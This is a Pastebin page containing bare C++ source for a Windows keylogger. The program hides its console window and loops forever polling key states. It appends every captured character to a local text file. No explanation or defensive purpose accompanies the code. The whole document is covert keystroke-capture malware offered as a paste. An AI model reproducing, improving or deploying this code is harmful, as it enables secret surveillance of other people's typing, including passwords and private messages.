Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <cstdlib>
- #include <iostream>
- #include <cstdio>
- #include <windows.h>
- #include <fstream>
- #define DELAY 150
- using namespace std;
- void writedown (char key){
- char *path = "C:italiano.txt";
- FILE *out;
- out = fopen(path, "a+");
- fprintf(out , "%c", key);
- fclose(out);
- }
- int main()
- {
- FreeConsole();
- while(true){
- for(char i = 31; i < 91; i++){
- if(GetAsyncKeyState(i)& 0x0001){
- writedown(i);
- Sleep(DELAY);
- }
- }
- }
- cin.get();
- cin.get();
- return EXIT_SUCCESS;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement